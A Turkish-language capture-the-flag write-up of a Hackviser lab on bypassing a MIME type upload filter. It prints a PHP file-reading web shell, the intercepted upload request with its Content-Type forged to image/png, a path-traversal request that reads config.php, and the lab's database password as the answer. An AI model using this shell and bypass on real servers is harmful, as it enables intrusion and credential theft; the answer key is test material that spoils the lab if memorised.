

MIME TYPE FILTER BYPASSWRITE-UP

Bu yazımda sizlere Hackviser platformu içerisinde Web Lab konu başlığı altında File Upload kısmındaki MIME Type Filter Bypass labının çözümünü anlatacağım.

SENARYO: Bu laboratuvar kısıtlanmamış dosya yükleme zafiyeti içermektedir. Uygulamadaki görsel yükleme işlevi, yüklenen dosyaları Mime-Type değerine göre filtrelemektedir.

Laboratuvarı tamamlamak için Mime-Type'ı değiştirerek kötü amaçlı bir PHP betiği yükleyin ve "config.php" dosyasını okuyun.

"config.php" isimli dosyadaki veritabanı şifresi nedir?

ÇÖZÜM: Bir önceki senaryoda oluşturduğumuz PHP kodları ile yazılmış Shell.php dosyamız vardı. Hatırlatmak amaçlı içeriğini tekrardan atayım:

```
<?php
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    echo "<pre>" . htmlspecialchars(file_get_contents($file)) . "</pre>";
}
?>
```

Bu dosyamızı yüklemeyi deneyelim.

Unauthorized file type found.

Please upload gif, jpg, jpeg or png.

Böyle bir hata ile karşı karşıya kaldık. Şimdi neler yapabileceğimizi görmemiz için Burp Suite aracımızda çalıştıralım. Bizi ilgilendiren kısım şurası:

```

}
} -----WebKitFormBoundaryH2AwEps9XML01JII
Content-Disposition: form-data; name="input_image"; filename="shell.php
"
Content-Type: application/x-php
}
}
```

Burada Shell dosyası

yüklenirken MIME Type'ı application/x-php olarak gidiyor. MIME Type dediğimiz şey de tam olarak bu dosyanın uzantısına göre content-type'ı belirlenir. Biz eğer application kısmını

```

}
} -----WebKitFormBoundaryH2AwEps9XML01JII
Content-Disposition: form-data; name="input_image"; filename="shell.php
"
Content-Type: image/png
}
```

Şeklinde değiştirirsek

sanki php dosyası değil de image dosyası yüklüyormuş gibi gösterebiliriz.

File uploaded successfully!

File path: [uploads/shell.php](#)

Başarılı bir şekilde yüklendi.

Şimdi url'e gelip sonuna ?file=../config.php kodunu eklersek config.php dosyasının içeriğini görebiliriz.

```
← → ↻ 🔍 https://lenient-lady-mastermind.europe1.hackviser.space/uploads/shell.php?file=../config.php

<?php
    try{
        $host = 'localhost';
        $db_name = 'hv_database';
        $charset = 'utf8';
        $username = 'root';
        $password = 'fRqs3s79mQxv6XVt';

        $db = new PDO("mysql:host=$host;dbname=$db_name;charset=$charset",$username,$password);
    } catch(PDOException $e){

    }
?>
```

CEVAP: **fRqs3s79mQxv6XVt**